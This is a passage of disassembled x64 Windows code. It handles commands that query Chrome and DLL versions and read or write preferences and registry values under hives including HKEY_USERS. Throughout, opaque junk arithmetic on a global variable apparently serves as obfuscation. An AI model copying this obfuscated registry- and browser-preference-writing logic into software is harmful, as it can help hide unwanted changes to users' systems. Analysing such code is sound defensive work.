mov qword [rsp + 0x940], rax
cmp qword [rax + 0x18], 0x10
jb 0x14004f42d
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x5c0]
call fcn.1400029b8
mov rbx, rax
lea r8, str._from
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x5b0]
call fcn.140017478
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x180]
call fcn.14000d514
nop
mov rcx, qword [rsp + 0x5b0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x860], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004f4a4
mov rdx, qword [rsp + 0x860]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x5c0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x788], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004f4d7
mov rdx, qword [rsp + 0x788]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2fc8], 0x10
jb 0x14004f4ef
mov rcx, qword [rsp + 0x2fb0]
call fcn.1400b8ff4
mov r15d, 0xf
mov qword [rsp + 0x2fc8], r15
mov qword [rsp + 0x2fc0], rdi
mov byte [rsp + 0x2fb0], dil
mov rax, qword [rsp + 0x3e0]
mov edx, dword [rax]
lea rcx, [rsp + 0x2f90]
call fcn.14004ddcc
mov qword [rsp + 0xde0], rax
cmp qword [rax + 0x18], 0x10
jb 0x14004f536
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x5e0]
call fcn.1400029b8
mov rbx, rax
lea r8, [0x1401341d8]
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x5d0]
call fcn.140017478
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x170]
call fcn.14000d514
nop
mov rcx, qword [rsp + 0x5d0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x908], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004f5ad
mov rdx, qword [rsp + 0x908]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x5e0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x798], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004f5e0
mov rdx, qword [rsp + 0x798]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2fa8], 0x10
jb 0x14004f5f8
mov rcx, qword [rsp + 0x2f90]
call fcn.1400b8ff4
mov qword [rsp + 0x2fa8], r15
mov qword [rsp + 0x2fa0], rdi
mov byte [rsp + 0x2f90], dil
mov rcx, qword [rsp + 0x3e0]
mov edx, dword [rcx]
lea eax, [rdx + 1]
mov dword [rcx], eax
lea rcx, [rsp + 0x2f50]
call fcn.14004ddcc
mov qword [rsp + 0xaa0], rax
cmp qword [rax + 0x18], 0x10
jb 0x14004f63e
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x600]
call fcn.1400029b8
mov rbx, rax
lea r8, [0x1401341e8]
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x5f0]
call fcn.140017478
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x178]
call fcn.14000d514
nop
mov rcx, qword [rsp + 0x5f0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x870], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004f6b5
mov rdx, qword [rsp + 0x870]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x600]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7a8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004f6e8
mov rdx, qword [rsp + 0x7a8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2f68], 0x10
jb 0x14004f700
mov rcx, qword [rsp + 0x2f50]
call fcn.1400b8ff4
mov qword [rsp + 0x2f68], r15
mov qword [rsp + 0x2f60], rdi
mov byte [rsp + 0x2f50], dil
lea rax, [rsp + 0x100]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
mov rdx, qword [rsp + 0x190]
mov rcx, qword [r13 + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14004fa04
mov rax, qword [rsp + 0x98]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x928], eax
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x28], eax
mov r15, qword [rsp + 0x330]
mov qword [rsp + 0x20], r15
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x180]
mov rcx, qword [rsp + 0x100]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x14004fa04
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x248]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rdx, qword [rsp + 0x170]
mov rcx, qword [rsp + 0x100]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x14004fa04
mov rax, qword [rsp + 0xb0]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x938], eax
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x28], eax
mov rbx, qword [rsp + 0x610]
mov qword [rsp + 0x20], rbx
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x178]
mov rcx, qword [rsp + 0x100]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x14004fa04
lea r8, [rsp + 0x100]
lea rdx, [rsp + 0xc8]
mov rcx, r13
call fcn.140053878
mov rcx, rbx
call fcn.1400b9ac0
mov rcx, r15
call fcn.1400b9ac0
mov rcx, qword [rsp + 0x100]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [0x14019fd80]
imul ecx, ecx
mov eax, 0x78787879
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x11
sub ecx, edx
cmp ecx, 3
jne 0x14004f883
add dword [0x1401a14d0], r12d
test r14, r14
je 0x14004f897
mov r15d, 0xb
mov word [r14], r15w
mov word [r14 + 8], si
mov rcx, qword [rsp + 0x178]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x8e0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004f8ca
mov rdx, qword [rsp + 0x8e0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x170]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x620], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004f8fd
mov rdx, qword [rsp + 0x620]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x180]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7b8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004f930
mov rdx, qword [rsp + 0x7b8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x190]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x630], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004f963
mov rdx, qword [rsp + 0x630]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xc8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x880], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004f996
mov rdx, qword [rsp + 0x880]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xb0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x640], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004f9c9
mov rdx, qword [rsp + 0x640]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x98]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7c8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004fd73
mov rdx, qword [rsp + 0x7c8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x14004fd73
test r14, r14
je 0x14004fa18
mov r15d, 0xb
mov word [r14], r15w
mov word [r14 + 8], di
mov rcx, qword [rsp + 0x178]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x650], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004fa4b
mov rdx, qword [rsp + 0x650]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x170]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x920], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004fa7e
mov rdx, qword [rsp + 0x920]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x180]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x660], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004fab1
mov rdx, qword [rsp + 0x660]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x190]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7d8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004fae4
mov rdx, qword [rsp + 0x7d8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xc8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x670], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004fb17
mov rdx, qword [rsp + 0x670]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xb0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x890], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004fb4a
mov rdx, qword [rsp + 0x890]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x98]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x680], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004fb7d
mov rdx, qword [rsp + 0x680]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x58]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7e8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004fbad
mov rdx, qword [rsp + 0x7e8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2ed8], 0x10
jb 0x14004fbc5
mov rcx, qword [rsp + 0x2ec0]
call fcn.1400b8ff4
mov qword [rsp + 0x2ed8], 0xf
mov qword [rsp + 0x2ed0], rdi
mov byte [rsp + 0x2ec0], dil
mov rcx, qword [rsp + 0x80]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x690], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004fc14
mov rdx, qword [rsp + 0x690]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x2fd0]
call fcn.140016318
nop
lea rcx, [rsp + 0x68]
call fcn.14002d0d8
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x14005370d
test r14, r14
je 0x14004fc4f
mov r15d, 0xb
mov word [r14], r15w
mov word [r14 + 8], di
mov rcx, qword [rsp + 0xb0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x8f0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004fc82
mov rdx, qword [rsp + 0x8f0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x98]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6a0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004fcb5
mov rdx, qword [rsp + 0x6a0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x58]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7f8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004fce5
mov rdx, qword [rsp + 0x7f8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2ed8], 0x10
jb 0x14004fcfd
mov rcx, qword [rsp + 0x2ec0]
call fcn.1400b8ff4
mov qword [rsp + 0x2ed8], 0xf
mov qword [rsp + 0x2ed0], rdi
mov byte [rsp + 0x2ec0], dil
mov rcx, qword [rsp + 0x80]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6b0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004fd4c
mov rdx, qword [rsp + 0x6b0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x2fd0]
call fcn.140016318
nop
lea rcx, [rsp + 0x68]
call fcn.14002d0d8
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x14005370d
mov ecx, dword [0x14019fd80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 7
sub r8d, edx
cmp r8d, 5
jne 0x1400535c2
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
jmp 0x1400535c2
lea rdx, str.getCurrentCppTime
lea rcx, [rsp + 0x58]
call fcn.140002c54
test eax, eax
jne 0x1400500d5
test r14, r14
je 0x1400535c2
lea rcx, [rsp + 0x408]
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov qword [rsp + 0x1a0], rdi
mov r9, qword [rsp + 0x408]
mov qword [rsp + 0x1a0], r9
mov r8d, dword [0x14019fd80]
lea ecx, [r8 + 2]
lea eax, [r8 + 1]
imul ecx, eax
imul ecx, r8d
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
mov r15d, 0xb
cmp ecx, r15d
jne 0x14004feaa
mov ecx, r12d
mov dword [rsp + 0x22c], ecx
mov r8d, r12d
mov dword [rsp + 0x24c], r12d
lea ebx, [r15 + 0x3e]
mov dword [rsp + 0x254], ebx
mov dword [0x14019fd80], edi
lea eax, [rbx - 2]
test eax, eax
js 0x14004fea3
lea eax, [r8 + rcx]
mov dword [rsp + 0x410], eax
mov ecx, r8d
mov dword [rsp + 0x22c], ecx
mov r8d, eax
mov dword [rsp + 0x24c], eax
sub ebx, r12d
mov dword [rsp + 0x254], ebx
jmp 0x14004fe71
mov dword [0x14019fd80], r8d
movabs rax, 0xcccccccccccccccd
mul r9
shr rdx, 3
mov qword [rsp + 0x1a0], rdx
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
add eax, eax
sub ecx, eax
cmp ecx, r12d
jne 0x14004ff10
mov ecx, r12d
mov dword [rsp + 0x270], ecx
cmp ecx, r8d
jge 0x14004ff0a
mov eax, r8d
cdq
idiv ecx
inc ecx
add ecx, edx
mov dword [rsp + 0x270], ecx
jmp 0x14004fef2
mov dword [0x14019fd80], ecx
lea rcx, [rsp + 0x1c0]
call fcn.140001c78
nop
mov ebx, edi
mov r15d, 8
mov dword [rsp + 0xf0], ebx
cmp ebx, r15d
jge 0x14004ffc7
lea rcx, [rsp + 0x1b0]
call fcn.140001c78
nop
movsxd rax, ebx
movzx r8d, byte [rsp + rax + 0x1a0]
lea rdx, str._.2x
lea rcx, [rsp + 0x1b0]
call fcn.14000f8ac
mov rdx, qword [rsp + 0x1b0]
mov r8d, dword [rdx - 0x10]
mov dword [rsp + 0x904], r8d
lea rcx, [rsp + 0x1c0]
call fcn.14000df38
nop
mov rcx, qword [rsp + 0x1b0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x418], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14004ffb8
mov rdx, qword [rsp + 0x418]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov ebx, dword [rsp + 0xf0]
add ebx, r12d
jmp 0x14004ff26
mov rcx, qword [rsp + 0x1c0]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x8a0], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xfe8], rax
test rax, rax
jne 0x14004fff1
call fcn.140001fb4
mov qword [r14 + 8], rax
mov word [r14], r15w
mov r8d, dword [0x14019fd80]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0xb21642c9
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x17
sub ecx, edx
cmp ecx, 0x10
jne 0x140050054
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r8d, eax
mov eax, 0xcccccccd
mul r8d
shr edx, 6
lea ecx, [rdx + rdx*4]
shl ecx, 4
sub r8d, ecx
add r8d, r12d
mov dword [rsp + 0x420], r8d
mov dword [0x14019fd80], r8d
mov ecx, r8d
imul ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
cmp ecx, 2
jne 0x1400500a3
mov ecx, r8d
test r8d, r8d
je 0x140050099
dec ecx
je 0x140050091
add r8d, r12d
mov dword [0x14019fd80], r8d
jmp 0x1400500a3
mov dword [0x14019fd80], edi
jmp 0x1400500a3
mov dword [0x14019fd80], 2
mov rcx, qword [rsp + 0x1c0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x428], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400535c2
mov rdx, qword [rsp + 0x428]
jmp 0x14004ee9d
lea rdx, str.getChromeVersion
lea rcx, [rsp + 0x58]
call fcn.140002c54
test eax, eax
jne 0x1400501a2
lea rdx, [rsp + 0x290]
mov rcx, qword [r13 + 0x40]
call fcn.14004dec4
nop
test r14, r14
je 0x14005013d
mov rcx, qword [rsp + 0x290]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x6bc], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xab0], rax
test rax, rax
jne 0x14005012f
call fcn.140001fb4
mov qword [r14 + 8], rax
mov r15d, 8
mov word [r14], r15w
mov eax, dword [0x14019fd80]
imul eax, eax
and eax, 0x80000007
jge 0x140050156
sub eax, r12d
or eax, 0xfffffff8
add eax, r12d
cmp eax, 6
jne 0x140050170
mov dword [rsp + 0x10d0], edi
mov dword [rsp + 0x1128], edi
mov dword [rsp + 0x1188], edi
mov rcx, qword [rsp + 0x290]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x438], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400535c2
mov rdx, qword [rsp + 0x438]
jmp 0x14004ee9d
lea rdx, str.getDLLVersion
lea rcx, [rsp + 0x58]
call fcn.140002c54
test eax, eax
jne 0x14005023c
lea rdx, [rsp + 0x3d8]
mov rcx, qword [r13 + 0x40]
call fcn.14004df40
nop
test r14, r14
je 0x14005020a
mov rcx, qword [rsp + 0x3d8]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x430], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xdf0], rax
test rax, rax
jne 0x1400501fc
call fcn.140001fb4
mov qword [r14 + 8], rax
mov r15d, 8
mov word [r14], r15w
mov rcx, qword [rsp + 0x3d8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x448], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400535c2
mov rdx, qword [rsp + 0x448]
jmp 0x14004ee9d
lea rdx, str.getCharPref
lea rcx, [rsp + 0x58]
call fcn.140002c54
test eax, eax
je 0x140052f72
lea rdx, str.getIntPref
lea rcx, [rsp + 0x58]
call fcn.140002c54
test eax, eax
je 0x140052f72
lea rdx, str.setCharPref
lea rcx, [rsp + 0x58]
call fcn.140002c54
test eax, eax
jne 0x14005084e
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xac0], rax
lea r15, str.keyPath
mov rdx, r15
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0x1058], rax
cmp byte [rax + 8], 4
jne 0x1400535c2
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xad0], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xe00], rax
cmp byte [rax + 8], 4
jne 0x1400535c2
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xae0], rax
lea rbx, [0x140134288]
mov rdx, rbx
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xff8], rax
cmp byte [rax + 8], 4
jne 0x1400535c2
mov byte [rsp + 0x62], dil
mov qword [rsp + 0x138], rdi
lea rdx, str.param
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xaf0], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14002dadc
mov qword [rsp + 0xe10], rax
lea rcx, [0x1401a0a38]
cmp rax, rcx
je 0x140050670
lea rdx, str.param
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xb00], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0x1090], rax
mov rdx, qword [rax]
mov qword [rsp + 0xb10], rdx
lea rcx, [rsp + 0x2a0]
call fcn.1400029b8
nop
mov r13, qword [r13 + 0x50]
mov qword [rsp + 0x138], r13
mov r9d, dword [0x14019fd80]
lea ecx, [r9 + 2]
lea eax, [r9 + 1]
imul ecx, eax
imul ecx, r9d
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 7
sub ecx, edx
cmp ecx, 5
jne 0x14005043c
mov r8d, edi
mov dword [rsp + 0x238], edi
movsxd r10, r8d
cmp r10, 0xa9
jae 0x14005043c
lea ecx, [r8 + r9]
mov eax, r9d
sub eax, r8d
cdq
idiv ecx
mov dword [rsp + r10*4 + 0x3530], edx
add r8d, r12d
mov dword [rsp + 0x238], r8d
jmp 0x14005040e
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x2a0]
call fcn.140002c54
mov rcx, 0xffffffff80000003
test eax, eax
cmove r13, rcx
mov qword [rsp + 0x138], r13
mov eax, dword [0x14019fd80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub ecx, eax
mov eax, dword [0x1401a1560]
mov edx, 0xf67ee4fb
cmp ecx, 3
cmove eax, edx
mov dword [0x1401a1560], eax
mov rcx, qword [rsp + 0x2a0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x458], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400504d3
mov rdx, qword [rsp + 0x458]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
cmp qword [rsp + 0x138], rdi
je 0x140050670
lea r13, str.param
mov rdx, r13
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xe20], rax
mov rdx, r15
lea rax, [rsp + 0x498]
mov qword [rsp + 0xb60], rax
lea r13, str.param
mov rdx, r13
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0x1018], rax
mov rdx, r15
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xb70], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe50], rdx
lea rcx, [rsp + 0x2d0]
call fcn.1400029b8
nop
mov rdx, r13
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xb80], rax
mov rdx, rbx
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0x1098], rax
mov rdx, qword [rax]
mov qword [rsp + 0xb90], rdx
lea rcx, [rsp + 0x350]
call fcn.1400029b8
nop
mov rdx, r13
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xe60], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xba0], rax
mov rdx, qword [rax]
mov qword [rsp + 0x1028], rdx
lea rcx, [rsp + 0x2c0]
call fcn.1400029b8
nop
lea rdx, [0x14012e2f8]
lea rcx, [rsp + 0x498]
call fcn.140001cb0
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x14019ad58]
lea r8, [rsp + 0x2d0]
lea rdx, [rsp + 0x350]
lea rcx, [rsp + 0x2c0]
call fcn.140039d5c
mov byte [rsp + 0x62], al
mov rcx, qword [rsp + 0x2c0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4a8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400507c3
mov rdx, qword [rsp + 0x4a8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x350]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4b8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400507f6
mov rdx, qword [rsp + 0x4b8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x2d0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4c8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140050828
mov rdx, qword [rsp + 0x4c8]
lea rdx, str.setIntPref
lea rcx, [rsp + 0x58]
call fcn.140002c54
test eax, eax
jne 0x140050d30
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xbb0], rax
lea r15, str.keyPath
mov rdx, r15
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xe70], rax
cmp byte [rax + 8], 4
jne 0x1400535c2
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xbc0], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0x1078], rax
cmp byte [rax + 8], 4
jne 0x1400535c2
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002d968
mov qword [rsp + 0xbd0], rax
lea rdx, [0x140134288]
mov rcx, rax
call fcn.14002d968
mov qword [rsp + 0xe80], rax
mov cl, byte [rax + 8]
